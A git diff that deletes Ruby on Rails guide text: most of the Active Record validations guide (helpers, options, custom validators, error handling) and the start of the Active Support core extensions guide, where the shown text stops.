person.errors.details[:name] # => [{error: :blank}] -``` - -Using `details` with custom validators is covered in the [Working with -Validation Errors](#working-with-validation-errors) section. - -Validation Helpers ------------------- - -Active Record offers many pre-defined validation helpers that you can use -directly inside your class definitions. These helpers provide common validation -rules. Every time a validation fails, an error message is added to the object's -`errors` collection, and this message is associated with the attribute being -validated. - -Each helper accepts an arbitrary number of attribute names, so with a single -line of code you can add the same kind of validation to several attributes. - -All of them accept the `:on` and `:message` options, which define when the -validation should be run and what message should be added to the `errors` -collection if it fails, respectively. The `:on` option takes one of the values -`:create` or `:update`. There is a default error -message for each one of the validation helpers. These messages are used when -the `:message` option isn't specified. Let's take a look at each one of the -available helpers. - -### `acceptance` - -This method validates that a checkbox on the user interface was checked when a -form was submitted. This is typically used when the user needs to agree to your -application's terms of service, confirm that some text is read, or any similar -concept. - -```ruby -class Person < ApplicationRecord - validates :terms_of_service, acceptance: true -end -``` - -This check is performed only if `terms_of_service` is not `nil`. -The default error message for this helper is _"must be accepted"_. -You can also pass custom message via the `message` option. - -```ruby -class Person < ApplicationRecord - validates :terms_of_service, acceptance: { message: 'must be abided' } -end -``` - -It can also receive an `:accept` option, which determines the allowed values -that will be considered as accepted. It defaults to `['1', true]` and can be -easily changed. - -```ruby -class Person < ApplicationRecord - validates :terms_of_service, acceptance: { accept: 'yes' } - validates :eula, acceptance: { accept: ['TRUE', 'accepted'] } -end -``` - -This validation is very specific to web applications and this -'acceptance' does not need to be recorded anywhere in your database. If you -don't have a field for it, the helper will just create a virtual attribute. If -the field does exist in your database, the `accept` option must be set to -or include `true` or else the validation will not run. - -### `validates_associated` - -You should use this helper when your model has associations with other models -and they also need to be validated. When you try to save your object, `valid?` -will be called upon each one of the associated objects. - -```ruby -class Library < ApplicationRecord - has_many :books - validates_associated :books -end -``` - -This validation will work with all of the association types. - -CAUTION: Don't use `validates_associated` on both ends of your associations. -They would call each other in an infinite loop. - -The default error message for `validates_associated` is _"is invalid"_. Note -that each associated object will contain its own `errors` collection; errors do -not bubble up to the calling model. - -### `confirmation` - -You should use this helper when you have two text fields that should receive -exactly the same content. For example, you may want to confirm an email address -or a password. This validation creates a virtual attribute whose name is the -name of the field that has to be confirmed with "_confirmation" appended. - -```ruby -class Person < ApplicationRecord - validates :email, confirmation: true -end -``` - -In your view template you could use something like - -```erb -<%= text_field :person, :email %> -<%= text_field :person, :email_confirmation %> -``` - -This check is performed only if `email_confirmation` is not `nil`. To require -confirmation, make sure to add a presence check for the confirmation attribute -(we'll take a look at `presence` later on in this guide): - -```ruby -class Person < ApplicationRecord - validates :email, confirmation: true - validates :email_confirmation, presence: true -end -``` - -There is also a `:case_sensitive` option that you can use to define whether the -confirmation constraint will be case sensitive or not. This option defaults to -true. - -```ruby -class Person < ApplicationRecord - validates :email, confirmation: { case_sensitive: false } -end -``` - -The default error message for this helper is _"doesn't match confirmation"_. - -### `exclusion` - -This helper validates that the attributes' values are not included in a given -set. In fact, this set can be any enumerable object. - -```ruby -class Account < ApplicationRecord - validates :subdomain, exclusion: { in: %w(www us ca jp), - message: "%{value} is reserved." } -end -``` - -The `exclusion` helper has an option `:in` that receives the set of values that -will not be accepted for the validated attributes. The `:in` option has an -alias called `:within` that you can use for the same purpose, if you'd like to. -This example uses the `:message` option to show how you can include the -attribute's value. For full options to the message argument please see the -[message documentation](#message). - -The default error message is _"is reserved"_. - -### `format` - -This helper validates the attributes' values by testing whether they match a -given regular expression, which is specified using the `:with` option. - -```ruby -class Product < ApplicationRecord - validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/, - message: "only allows letters" } -end -``` - -Alternatively, you can require that the specified attribute does _not_ match the regular expression by using the `:without` option. - -The default error message is _"is invalid"_. - -### `inclusion` - -This helper validates that the attributes' values are included in a given set. -In fact, this set can be any enumerable object. - -```ruby -class Coffee < ApplicationRecord - validates :size, inclusion: { in: %w(small medium large), - message: "%{value} is not a valid size" } -end -``` - -The `inclusion` helper has an option `:in` that receives the set of values that -will be accepted. The `:in` option has an alias called `:within` that you can -use for the same purpose, if you'd like to. The previous example uses the -`:message` option to show how you can include the attribute's value. For full -options please see the [message documentation](#message). - -The default error message for this helper is _"is not included in the list"_. - -### `length` - -This helper validates the length of the attributes' values. It provides a -variety of options, so you can specify length constraints in different ways: - -```ruby -class Person < ApplicationRecord - validates :name, length: { minimum: 2 } - validates :bio, length: { maximum: 500 } - validates :password, length: { in: 6..20 } - validates :registration_number, length: { is: 6 } -end -``` - -The possible length constraint options are: - -* `:minimum` - The attribute cannot have less than the specified length. -* `:maximum` - The attribute cannot have more than the specified length. -* `:in` (or `:within`) - The attribute length must be included in a given - interval. The value for this option must be a range. -* `:is` - The attribute length must be equal to the given value. - -The default error messages depend on the type of length validation being -performed. You can personalize these messages using the `:wrong_length`, -`:too_long`, and `:too_short` options and `%{count}` as a placeholder for the -number corresponding to the length constraint being used. You can still use the -`:message` option to specify an error message. - -```ruby -class Person < ApplicationRecord - validates :bio, length: { maximum: 1000, - too_long: "%{count} characters is the maximum allowed" } -end -``` - -Note that the default error messages are plural (e.g., "is too short (minimum -is %{count} characters)"). For this reason, when `:minimum` is 1 you should -provide a personalized message or use `presence: true` instead. When -`:in` or `:within` have a lower limit of 1, you should either provide a -personalized message or call `presence` prior to `length`. - -### `numericality` - -This helper validates that your attributes have only numeric values. By -default, it will match an optional sign followed by an integral or floating -point number. To specify that only integral numbers are allowed set -`:only_integer` to true. - -If you set `:only_integer` to `true`, then it will use the - -```ruby -/\A[+-]?\d+\z/ -``` - -regular expression to validate the attribute's value. Otherwise, it will try to -convert the value to a number using `Float`. - -```ruby -class Player < ApplicationRecord - validates :points, numericality: true - validates :games_played, numericality: { only_integer: true } -end -``` - -Besides `:only_integer`, this helper also accepts the following options to add -constraints to acceptable values: - -* `:greater_than` - Specifies the value must be greater than the supplied - value. The default error message for this option is _"must be greater than - %{count}"_. -* `:greater_than_or_equal_to` - Specifies the value must be greater than or - equal to the supplied value. The default error message for this option is - _"must be greater than or equal to %{count}"_. -* `:equal_to` - Specifies the value must be equal to the supplied value. The - default error message for this option is _"must be equal to %{count}"_. -* `:less_than` - Specifies the value must be less than the supplied value. The - default error message for this option is _"must be less than %{count}"_. -* `:less_than_or_equal_to` - Specifies the value must be less than or equal to - the supplied value. The default error message for this option is _"must be - less than or equal to %{count}"_. -* `:other_than` - Specifies the value must be other than the supplied value. - The default error message for this option is _"must be other than %{count}"_. -* `:odd` - Specifies the value must be an odd number if set to true. The - default error message for this option is _"must be odd"_. -* `:even` - Specifies the value must be an even number if set to true. The - default error message for this option is _"must be even"_. - -NOTE: By default, `numericality` doesn't allow `nil` values. You can use `allow_nil: true` option to permit it. - -The default error message is _"is not a number"_. - -### `presence` - -This helper validates that the specified attributes are not empty. It uses the -`blank?` method to check if the value is either `nil` or a blank string, that -is, a string that is either empty or consists of whitespace. - -```ruby -class Person < ApplicationRecord - validates :name, :login, :email, presence: true -end -``` - -If you want to be sure that an association is present, you'll need to test -whether the associated object itself is present, and not the foreign key used -to map the association. - -```ruby -class LineItem < ApplicationRecord - belongs_to :order - validates :order, presence: true -end -``` - -In order to validate associated records whose presence is required, you must -specify the `:inverse_of` option for the association: - -```ruby -class Order < ApplicationRecord - has_many :line_items, inverse_of: :order -end -``` - -If you validate the presence of an object associated via a `has_one` or -`has_many` relationship, it will check that the object is neither `blank?` nor -`marked_for_destruction?`. - -Since `false.blank?` is true, if you want to validate the presence of a boolean -field you should use one of the following validations: - -```ruby -validates :boolean_field_name, inclusion: { in: [true, false] } -validates :boolean_field_name, exclusion: { in: [nil] } -``` - -By using one of these validations, you will ensure the value will NOT be `nil` -which would result in a `NULL` value in most cases. - -### `absence` - -This helper validates that the specified attributes are absent. It uses the -`present?` method to check if the value is not either nil or a blank string, that -is, a string that is either empty or consists of whitespace. - -```ruby -class Person < ApplicationRecord - validates :name, :login, :email, absence: true -end -``` - -If you want to be sure that an association is absent, you'll need to test -whether the associated object itself is absent, and not the foreign key used -to map the association. - -```ruby -class LineItem < ApplicationRecord - belongs_to :order - validates :order, absence: true -end -``` - -In order to validate associated records whose absence is required, you must -specify the `:inverse_of` option for the association: - -```ruby -class Order < ApplicationRecord - has_many :line_items, inverse_of: :order -end -``` - -If you validate the absence of an object associated via a `has_one` or -`has_many` relationship, it will check that the object is neither `present?` nor -`marked_for_destruction?`. - -Since `false.present?` is false, if you want to validate the absence of a boolean -field you should use `validates :field_name, exclusion: { in: [true, false] }`. - -The default error message is _"must be blank"_. - -### `uniqueness` - -This helper validates that the attribute's value is unique right before the -object gets saved. It does not create a uniqueness constraint in the database, -so it may happen that two different database connections create two records -with the same value for a column that you intend to be unique. To avoid that, -you must create a unique index on that column in your database. - -```ruby -class Account < ApplicationRecord - validates :email, uniqueness: true -end -``` - -The validation happens by performing an SQL query into the model's table, -searching for an existing record with the same value in that attribute. - -There is a `:scope` option that you can use to specify one or more attributes that -are used to limit the uniqueness check: - -```ruby -class Holiday < ApplicationRecord - validates :name, uniqueness: { scope: :year, - message: "should happen once per year" } -end -``` -Should you wish to create a database constraint to prevent possible violations of a uniqueness validation using the `:scope` option, you must create a unique index on both columns in your database. See [the MySQL manual](http://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html) for more details about multiple column indexes or [the PostgreSQL manual](http://www.postgresql.org/docs/current/static/ddl-constraints.html) for examples of unique constraints that refer to a group of columns. - -There is also a `:case_sensitive` option that you can use to define whether the -uniqueness constraint will be case sensitive or not. This option defaults to -true. - -```ruby -class Person < ApplicationRecord - validates :name, uniqueness: { case_sensitive: false } -end -``` - -WARNING. Note that some databases are configured to perform case-insensitive -searches anyway. - -The default error message is _"has already been taken"_. - -### `validates_with` - -This helper passes the record to a separate class for validation. - -```ruby -class GoodnessValidator < ActiveModel::Validator - def validate(record) - if record.first_name == "Evil" - record.errors[:base] << "This person is evil" - end - end -end - -class Person < ApplicationRecord - validates_with GoodnessValidator -end -``` - -NOTE: Errors added to `record.errors[:base]` relate to the state of the record -as a whole, and not to a specific attribute. - -The `validates_with` helper takes a class, or a list of classes to use for -validation. There is no default error message for `validates_with`. You must -manually add errors to the record's errors collection in the validator class. - -To implement the validate method, you must have a `record` parameter defined, -which is the record to be validated. - -Like all other validations, `validates_with` takes the `:if`, `:unless` and -`:on` options. If you pass any other options, it will send those options to the -validator class as `options`: - -```ruby -class GoodnessValidator < ActiveModel::Validator - def validate(record) - if options[:fields].any?{|field| record.send(field) == "Evil" } - record.errors[:base] << "This person is evil" - end - end -end - -class Person < ApplicationRecord - validates_with GoodnessValidator, fields: [:first_name, :last_name] -end -``` - -Note that the validator will be initialized *only once* for the whole application -life cycle, and not on each validation run, so be careful about using instance -variables inside it. - -If your validator is complex enough that you want instance variables, you can -easily use a plain old Ruby object instead: - -```ruby -class Person < ApplicationRecord - validate do |person| - GoodnessValidator.new(person).validate - end -end - -class GoodnessValidator - def initialize(person) - @person = person - end - - def validate - if some_complex_condition_involving_ivars_and_private_methods? - @person.errors[:base] << "This person is evil" - end - end - - # ... -end -``` - -### `validates_each` - -This helper validates attributes against a block. It doesn't have a predefined -validation function. You should create one using a block, and every attribute -passed to `validates_each` will be tested against it. In the following example, -we don't want names and surnames to begin with lower case. - -```ruby -class Person < ApplicationRecord - validates_each :name, :surname do |record, attr, value| - record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/ - end -end -``` - -The block receives the record, the attribute's name and the attribute's value. -You can do anything you like to check for valid data within the block. If your -validation fails, you should add an error message to the model, therefore -making it invalid. - -Common Validation Options -------------------------- - -These are common validation options: - -### `:allow_nil` - -The `:allow_nil` option skips the validation when the value being validated is -`nil`. - -```ruby -class Coffee < ApplicationRecord - validates :size, inclusion: { in: %w(small medium large), - message: "%{value} is not a valid size" }, allow_nil: true -end -``` - -For full options to the message argument please see the -[message documentation](#message). - -### `:allow_blank` - -The `:allow_blank` option is similar to the `:allow_nil` option. This option -will let validation pass if the attribute's value is `blank?`, like `nil` or an -empty string for example. - -```ruby -class Topic < ApplicationRecord - validates :title, length: { is: 5 }, allow_blank: true -end - -Topic.create(title: "").valid? # => true -Topic.create(title: nil).valid? # => true -``` - -### `:message` - -As you've already seen, the `:message` option lets you specify the message that -will be added to the `errors` collection when validation fails. When this -option is not used, Active Record will use the respective default error message -for each validation helper. The `:message` option accepts a `String` or `Proc`. - -A `String` `:message` value can optionally contain any/all of `%{value}`, -`%{attribute}`, and `%{model}` which will be dynamically replaced when -validation fails. This replacement is done using the I18n gem, and the -placeholders must match exactly, no spaces are allowed. - -A `Proc` `:message` value is given two arguments: the object being validated, and -a hash with `:model`, `:attribute`, and `:value` key-value pairs. - -```ruby -class Person < ApplicationRecord - # Hard-coded message - validates :name, presence: { message: "must be given please" } - - # Message with dynamic attribute value. %{value} will be replaced with - # the actual value of the attribute. %{attribute} and %{model} also - # available. - validates :age, numericality: { message: "%{value} seems wrong" } - - # Proc - validates :username, - uniqueness: { - # object = person object being validated - # data = { model: "Person", attribute: "Username", value: } - message: ->(object, data) do - "Hey #{object.name}!, #{data[:value]} is taken already! Try again #{Time.zone.tomorrow}" - end - } -end -``` - -### `:on` - -The `:on` option lets you specify when the validation should happen. The -default behavior for all the built-in validation helpers is to be run on save -(both when you're creating a new record and when you're updating it). If you -want to change it, you can use `on: :create` to run the validation only when a -new record is created or `on: :update` to run the validation only when a record -is updated. - -```ruby -class Person < ApplicationRecord - # it will be possible to update email with a duplicated value - validates :email, uniqueness: true, on: :create - - # it will be possible to create the record with a non-numerical age - validates :age, numericality: true, on: :update - - # the default (validates on both create and update) - validates :name, presence: true -end -``` - -You can also use `on:` to define custom context. -Custom contexts need to be triggered explicitly -by passing name of the context to `valid?`, `invalid?` or `save`. - -```ruby -class Person < ApplicationRecord - validates :email, uniqueness: true, on: :account_setup - validates :age, numericality: true, on: :account_setup -end - -person = Person.new -``` - -`person.valid?(:account_setup)` executes both the validations -without saving the model. And `person.save(context: :account_setup)` -validates `person` in `account_setup` context before saving. -On explicit triggers, model is validated by -validations of only that context and validations without context. - -Strict Validations ------------------- - -You can also specify validations to be strict and raise -`ActiveModel::StrictValidationFailed` when the object is invalid. - -```ruby -class Person < ApplicationRecord - validates :name, presence: { strict: true } -end - -Person.new.valid? # => ActiveModel::StrictValidationFailed: Name can't be blank -``` - -There is also the ability to pass a custom exception to the `:strict` option. - -```ruby -class Person < ApplicationRecord - validates :token, presence: true, uniqueness: true, strict: TokenGenerationException -end - -Person.new.valid? # => TokenGenerationException: Token can't be blank -``` - -Conditional Validation ----------------------- - -Sometimes it will make sense to validate an object only when a given predicate -is satisfied. You can do that by using the `:if` and `:unless` options, which -can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if` -option when you want to specify when the validation **should** happen. If you -want to specify when the validation **should not** happen, then you may use the -`:unless` option. - -### Using a Symbol with `:if` and `:unless` - -You can associate the `:if` and `:unless` options with a symbol corresponding -to the name of a method that will get called right before validation happens. -This is the most commonly used option. - -```ruby -class Order < ApplicationRecord - validates :card_number, presence: true, if: :paid_with_card? - - def paid_with_card? - payment_type == "card" - end -end -``` - -### Using a Proc with `:if` and `:unless` - -Finally, it's possible to associate `:if` and `:unless` with a `Proc` object -which will be called. Using a `Proc` object gives you the ability to write an -inline condition instead of a separate method. This option is best suited for -one-liners. - -```ruby -class Account < ApplicationRecord - validates :password, confirmation: true, - unless: Proc.new { |a| a.password.blank? } -end -``` - -### Grouping Conditional validations - -Sometimes it is useful to have multiple validations use one condition. It can -be easily achieved using `with_options`. - -```ruby -class User < ApplicationRecord - with_options if: :is_admin? do |admin| - admin.validates :password, length: { minimum: 10 } - admin.validates :email, presence: true - end -end -``` - -All validations inside of the `with_options` block will have automatically -passed the condition `if: :is_admin?` - -### Combining Validation Conditions - -On the other hand, when multiple conditions define whether or not a validation -should happen, an `Array` can be used. Moreover, you can apply both `:if` and -`:unless` to the same validation. - -```ruby -class Computer < ApplicationRecord - validates :mouse, presence: true, - if: ["market.retail?", :desktop?], - unless: Proc.new { |c| c.trackpad.present? } -end -``` - -The validation only runs when all the `:if` conditions and none of the -`:unless` conditions are evaluated to `true`. - -Performing Custom Validations ------------------------------ - -When the built-in validation helpers are not enough for your needs, you can -write your own validators or validation methods as you prefer. - -### Custom Validators - -Custom validators are classes that inherit from `ActiveModel::Validator`. These -classes must implement the `validate` method which takes a record as an argument -and performs the validation on it. The custom validator is called using the -`validates_with` method. - -```ruby -class MyValidator < ActiveModel::Validator - def validate(record) - unless record.name.starts_with? 'X' - record.errors[:name] << 'Need a name starting with X please!' - end - end -end - -class Person - include ActiveModel::Validations - validates_with MyValidator -end -``` - -The easiest way to add custom validators for validating individual attributes -is with the convenient `ActiveModel::EachValidator`. In this case, the custom -validator class must implement a `validate_each` method which takes three -arguments: record, attribute, and value. These correspond to the instance, the -attribute to be validated, and the value of the attribute in the passed -instance. - -```ruby -class EmailValidator < ActiveModel::EachValidator - def validate_each(record, attribute, value) - unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i - record.errors[attribute] << (options[:message] || "is not an email") - end - end -end - -class Person < ApplicationRecord - validates :email, presence: true, email: true -end -``` - -As shown in the example, you can also combine standard validations with your -own custom validators. - -### Custom Methods - -You can also create methods that verify the state of your models and add -messages to the `errors` collection when they are invalid. You must then -register these methods by using the `validate` -([API](http://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate)) -class method, passing in the symbols for the validation methods' names. - -You can pass more than one symbol for each class method and the respective -validations will be run in the same order as they were registered. - -The `valid?` method will verify that the errors collection is empty, -so your custom validation methods should add errors to it when you -wish validation to fail: - -```ruby -class Invoice < ApplicationRecord - validate :expiration_date_cannot_be_in_the_past, - :discount_cannot_be_greater_than_total_value - - def expiration_date_cannot_be_in_the_past - if expiration_date.present? && expiration_date < Date.today - errors.add(:expiration_date, "can't be in the past") - end - end - - def discount_cannot_be_greater_than_total_value - if discount > total_value - errors.add(:discount, "can't be greater than total value") - end - end -end -``` - -By default, such validations will run every time you call `valid?` -or save the object. But it is also possible to control when to run these -custom validations by giving an `:on` option to the `validate` method, -with either: `:create` or `:update`. - -```ruby -class Invoice < ApplicationRecord - validate :active_customer, on: :create - - def active_customer - errors.add(:customer_id, "is not active") unless customer.active? - end -end -``` - -Working with Validation Errors ------------------------------- - -In addition to the `valid?` and `invalid?` methods covered earlier, Rails provides a number of methods for working with the `errors` collection and inquiring about the validity of objects. - -The following is a list of the most commonly used methods. Please refer to the `ActiveModel::Errors` documentation for a list of all the available methods. - -### `errors` - -Returns an instance of the class `ActiveModel::Errors` containing all errors. Each key is the attribute name and the value is an array of strings with all errors. - -```ruby -class Person < ApplicationRecord - validates :name, presence: true, length: { minimum: 3 } -end - -person = Person.new -person.valid? # => false -person.errors.messages - # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]} - -person = Person.new(name: "John Doe") -person.valid? # => true -person.errors.messages # => {} -``` - -### `errors[]` - -`errors[]` is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array. - -```ruby -class Person < ApplicationRecord - validates :name, presence: true, length: { minimum: 3 } -end - -person = Person.new(name: "John Doe") -person.valid? # => true -person.errors[:name] # => [] - -person = Person.new(name: "JD") -person.valid? # => false -person.errors[:name] # => ["is too short (minimum is 3 characters)"] - -person = Person.new -person.valid? # => false -person.errors[:name] - # => ["can't be blank", "is too short (minimum is 3 characters)"] -``` - -### `errors.add` - -The `add` method lets you add an error message related to a particular attribute. It takes as arguments the attribute and the error message. - -The `errors.full_messages` method (or its equivalent, `errors.to_a`) returns the error messages in a user-friendly format, with the capitalized attribute name prepended to each message, as shown in the examples below. - -```ruby -class Person < ApplicationRecord - def a_method_used_for_validation_purposes - errors.add(:name, "cannot contain the characters !@#%*()_-+=") - end -end - -person = Person.create(name: "!@#") - -person.errors[:name] - # => ["cannot contain the characters !@#%*()_-+="] - -person.errors.full_messages - # => ["Name cannot contain the characters !@#%*()_-+="] -``` - -An equivalent to `errors#add` is to use `<<` to append a message to the `errors.messages` array for an attribute: - -```ruby - class Person < ApplicationRecord - def a_method_used_for_validation_purposes - errors.messages[:name] << "cannot contain the characters !@#%*()_-+=" - end - end - - person = Person.create(name: "!@#") - - person.errors[:name] - # => ["cannot contain the characters !@#%*()_-+="] - - person.errors.to_a - # => ["Name cannot contain the characters !@#%*()_-+="] -``` - -### `errors.details` - -You can specify a validator type to the returned error details hash using the -`errors.add` method. - -```ruby -class Person < ApplicationRecord - def a_method_used_for_validation_purposes - errors.add(:name, :invalid_characters) - end -end - -person = Person.create(name: "!@#") - -person.errors.details[:name] -# => [{error: :invalid_characters}] -``` - -To improve the error details to contain the unallowed characters set for instance, -you can pass additional keys to `errors.add`. - -```ruby -class Person < ApplicationRecord - def a_method_used_for_validation_purposes - errors.add(:name, :invalid_characters, not_allowed: "!@#%*()_-+=") - end -end - -person = Person.create(name: "!@#") - -person.errors.details[:name] -# => [{error: :invalid_characters, not_allowed: "!@#%*()_-+="}] -``` - -All built in Rails validators populate the details hash with the corresponding -validator type. - -### `errors[:base]` - -You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message. - -```ruby -class Person < ApplicationRecord - def a_method_used_for_validation_purposes - errors[:base] << "This person is invalid because ..." - end -end -``` - -### `errors.clear` - -The `clear` method is used when you intentionally want to clear all the messages in the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again. - -```ruby -class Person < ApplicationRecord - validates :name, presence: true, length: { minimum: 3 } -end - -person = Person.new -person.valid? # => false -person.errors[:name] - # => ["can't be blank", "is too short (minimum is 3 characters)"] - -person.errors.clear -person.errors.empty? # => true - -person.save # => false - -person.errors[:name] -# => ["can't be blank", "is too short (minimum is 3 characters)"] -``` - -### `errors.size` - -The `size` method returns the total number of error messages for the object. - -```ruby -class Person < ApplicationRecord - validates :name, presence: true, length: { minimum: 3 } -end - -person = Person.new -person.valid? # => false -person.errors.size # => 2 - -person = Person.new(name: "Andrea", email: "andrea@example.com") -person.valid? # => true -person.errors.size # => 0 -``` - -Displaying Validation Errors in Views -------------------------------------- - -Once you've created a model and added validations, if that model is created via -a web form, you probably want to display an error message when one of the -validations fail. - -Because every application handles this kind of thing differently, Rails does -not include any view helpers to help you generate these messages directly. -However, due to the rich number of methods Rails gives you to interact with -validations in general, it's fairly easy to build your own. In addition, when -generating a scaffold, Rails will put some ERB into the `_form.html.erb` that -it generates that displays the full list of errors on that model. - -Assuming we have a model that's been saved in an instance variable named -`@article`, it looks like this: - -```ruby -<% if @article.errors.any? %> -
-

<%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:

- -
    - <% @article.errors.full_messages.each do |msg| %> -
  • <%= msg %>
  • - <% end %> -
-
-<% end %> -``` - -Furthermore, if you use the Rails form helpers to generate your forms, when -a validation error occurs on a field, it will generate an extra `
` around -the entry. - -``` -
- -
-``` - -You can then style this div however you'd like. The default scaffold that -Rails generates, for example, adds this CSS rule: - -``` -.field_with_errors { - padding: 2px; - background-color: red; - display: table; -} -``` - -This means that any field with an error ends up with a 2 pixel red border. diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md deleted file mode 100644 index 67bed4c..0000000 --- a/source/active_support_core_extensions.md +++ /dev/null @@ -1,3730 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Active Support Core Extensions -============================== - -Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff. - -It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself. - -After reading this guide, you will know: - -* What Core Extensions are. -* How to load all extensions. -* How to cherry-pick just the extensions you want. -* What extensions Active Support provides. - --------------------------------------------------------------------------------- - -How to Load Core Extensions ---------------------------- - -### Stand-Alone Active Support - -In order to have a near-zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you can load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything. - -Thus, after a simple require like: - -```ruby -require 'active_support' -``` - -objects do not even respond to `blank?`. Let's see how to load its definition. - -#### Cherry-picking a Definition - -The most lightweight way to get `blank?` is to cherry-pick the file that defines it. - -For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of `blank?` the note reads: - -NOTE: Defined in `active_support/core_ext/object/blank.rb`. - -That means that you can require it like this: - -```ruby -require 'active_support' -require 'active_support/core_ext/object/blank' -``` - -Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any. - -#### Loading Grouped Core Extensions - -The next level is to simply load all extensions to `Object`. As a rule of thumb, extensions to `SomeClass` are available in one shot by loading `active_support/core_ext/some_class`. - -Thus, to load all extensions to `Object` (including `blank?`): - -```ruby -require 'active_support' -require 'active_support/core_ext/object' -``` - -#### Loading All Core Extensions - -You may prefer just to load all core extensions, there is a file for that: - -```ruby -require 'active_support' -require 'active_support/core_ext' -``` - -#### Loading All Active Support - -And finally, if you want to have all Active Support available just issue: - -```ruby -require 'active_support/all' -``` - -That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via `autoload`, so it is only loaded if used. - -### Active Support Within a Ruby on Rails Application - -A Ruby on Rails application loads all Active Support unless `config.active_support.bare` is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section. - -Extensions to All Objects -------------------------- - -### `blank?` and `present?` - -The following values are considered to be blank in a Rails application: - -* `nil` and `false`, - -* strings composed only of whitespace (see note below), - -* empty arrays and hashes, and - -* any other object that responds to `empty?` and is empty. - -INFO: The predicate for strings uses the Unicode-aware character class `[:space:]`, so for example U+2029 (paragraph separator) is considered to be whitespace. - -WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank. - -For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses `blank?` for checking whether a token is present: - -```ruby -def authenticate(controller, &login_procedure) - token, options = token_and_options(controller.request) - unless token.blank? - login_procedure.call(token, options) - end -end -``` - -The method `present?` is equivalent to `!blank?`. This example is taken from `ActionDispatch::Http::Cache::Response`: - -```ruby -def set_conditional_cache_control! - return if self["Cache-Control"].present? - ... -end -``` - -NOTE: Defined in `active_support/core_ext/object/blank.rb`. - -### `presence` - -The `presence` method returns its receiver if `present?`, and `nil` otherwise. It is useful for idioms like this: - -```ruby -host = config[:host].presence || 'localhost' -``` - -NOTE: Defined in `active_support/core_ext/object/blank.rb`. - -### `duplicable?` - -In Ruby 2.4 most objects can be duplicated via `dup` or `clone` except -methods and certain numbers. Though Ruby 2.2 and 2.3 can't duplicate `nil`, -`false`, `true`, and symbols as well as instances `Float`, `Fixnum`, -and `Bignum` instances. - -```ruby -"foo".dup # => "foo" -"".dup # => "" -1.method(:+).dup # => TypeError: allocator undefined for Method -Complex(0).dup # => TypeError: can't copy Complex -``` - -Active Support provides `duplicable?` to query an object about this: - -```ruby -"foo".duplicable? # => true -"".duplicable? # => true -Rational(1).duplicable? # => false -Complex(1).duplicable? # => false -1.method(:+).duplicable? # => false -``` - -`duplicable?` matches Ruby's `dup` according to the Ruby version. - -So in 2.4: - -```ruby -nil.dup # => nil -:my_symbol.dup # => :my_symbol -1.dup # => 1 - -nil.duplicable? # => true -:my_symbol.duplicable? # => true -1.duplicable? # => true -``` - -Whereas in 2.2 and 2.3: - -```ruby -nil.dup # => TypeError: can't dup NilClass -:my_symbol.dup # => TypeError: can't dup Symbol -1.dup # => TypeError: can't dup Fixnum - -nil.duplicable? # => false -:my_symbol.duplicable? # => false -1.duplicable? # => false -``` - -WARNING: Any class can disallow duplication by removing `dup` and `clone` or raising exceptions from them. Thus only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case. - -NOTE: Defined in `active_support/core_ext/object/duplicable.rb`. - -### `deep_dup` - -The `deep_dup` method returns a deep copy of a given object. Normally, when you `dup` an object that contains other objects, Ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this: - -```ruby -array = ['string'] -duplicate = array.dup - -duplicate.push 'another-string' - -# the object was duplicated, so the element was added only to the duplicate -array # => ['string'] -duplicate # => ['string', 'another-string'] - -duplicate.first.gsub!('string', 'foo') - -# first element was not duplicated, it will be changed in both arrays -array # => ['foo'] -duplicate # => ['foo', 'another-string'] -``` - -As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object. - -If you need a deep copy of an object, you should use `deep_dup`. Here is an example: - -```ruby -array = ['string'] -duplicate = array.deep_dup - -duplicate.first.gsub!('string', 'foo') - -array # => ['string'] -duplicate # => ['foo'] -``` - -If the object is not duplicable, `deep_dup` will just return it: - -```ruby -number = 1 -duplicate = number.deep_dup -number.object_id == duplicate.object_id # => true -``` - -NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. - -### `try` - -When you want to call a method on an object only if it is not `nil`, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use `try`. `try` is like `Object#send` except that it returns `nil` if sent to `nil`. - -Here is an example: - -```ruby -# without try -unless @number.nil? - @number.next -end - -# with try -@number.try(:next) -``` - -Another example is this code from `ActiveRecord::ConnectionAdapters::AbstractAdapter` where `@logger` could be `nil`. You can see that the code uses `try` and avoids an unnecessary check. - -```ruby -def log_info(sql, name, ms) - if @logger.try(:debug?) - name = '%s 